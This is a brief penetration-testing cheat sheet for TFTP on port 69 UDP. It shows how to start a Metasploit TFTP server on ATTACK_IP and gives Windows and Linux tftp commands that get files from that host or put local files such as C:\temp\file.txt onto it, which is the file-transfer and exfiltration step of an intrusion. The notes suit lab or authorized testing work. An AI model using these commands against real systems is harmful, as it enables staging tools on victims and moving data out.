TFTP

Port 69 UDP

1) Use Metasploit

use auxiliary/server/tftp
set srvhost ATTACK_IP
set outputpath /home/user/scripts
set tftproot /home/user/scripts
exploit

2) Download file via TFTP

Windows

tftp -i ATTACK_IP GET file.txt C:\temp\file.txt

tftp -i ATTACK_IP PUT C:\temp\file.txt file.txt

Linux

tftp ATTACK_IP
tftp> get file.txt /tmp/file.txt
tftp> put file.txt /tmp/file.txt (Upload)
tftp> quit